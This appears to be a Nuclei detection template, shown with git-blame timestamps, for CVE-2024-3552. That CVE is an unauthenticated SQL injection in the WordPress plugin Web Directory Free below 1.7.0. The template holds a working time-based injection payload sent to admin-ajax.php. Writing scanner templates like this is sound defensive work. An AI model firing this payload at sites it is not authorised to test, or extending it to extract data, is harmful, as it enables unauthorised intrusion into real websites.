nuclei-templates/http/cves/2024/CVE-2024-3552.yaml

50 lines
1.5 KiB
YAML
Raw Normal View History

2024-06-13 12:47:43 +00:00
id: CVE-2024-3552
info:
name: Web Directory Free < 1.7.0 - SQL Injection
author: securityforeveryone
severity: critical
description: |
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
remediation: Fixed in 1.7.0
reference:
- https://vulners.com/wpvulndb/CVE-2024-3552
- https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
metadata:
2024-06-19 05:17:57 +00:00
verified: true
max-request: 1
2024-06-13 12:47:43 +00:00
publicwww-query: "/wp-content/plugins/web-directory-free"
2024-06-19 05:17:57 +00:00
tags: cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free
flow: http(1) && http(2)
2024-06-13 12:47:43 +00:00
http:
2024-06-19 05:17:57 +00:00
- raw:
- |
2024-06-20 10:08:26 +00:00
GET / HTTP/1.1
2024-06-19 05:17:57 +00:00
Host: {{Hostname}}
matchers:
- type: word
2024-06-20 10:08:26 +00:00
part: body
2024-06-19 05:17:57 +00:00
words:
2024-06-20 10:08:26 +00:00
- '/wp-content/plugins/web-directory-free'
internal: true
2024-06-19 05:17:57 +00:00
2024-06-13 12:47:43 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2024-06-14 11:59:39 +00:00
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)
2024-06-13 12:47:43 +00:00
matchers:
- type: dsl
dsl:
2024-06-14 11:59:39 +00:00
- 'duration>=6'
2024-06-13 12:47:43 +00:00
- 'status_code == 200'
2024-06-20 10:08:26 +00:00
- regex('^\[\]$', body)
2024-06-13 12:47:43 +00:00
condition: and
# digest: 4a0a0047304502205f1531596b6325ac2d986cd6245136e53aa97e8a3978b6a394bffeb78042691602210093b20af969ed64d70d37d6bcea2a4ea4e185ec3d9814c49ec0e4ed34262d6ba6:922c64590222798bb761d5b6d8e72950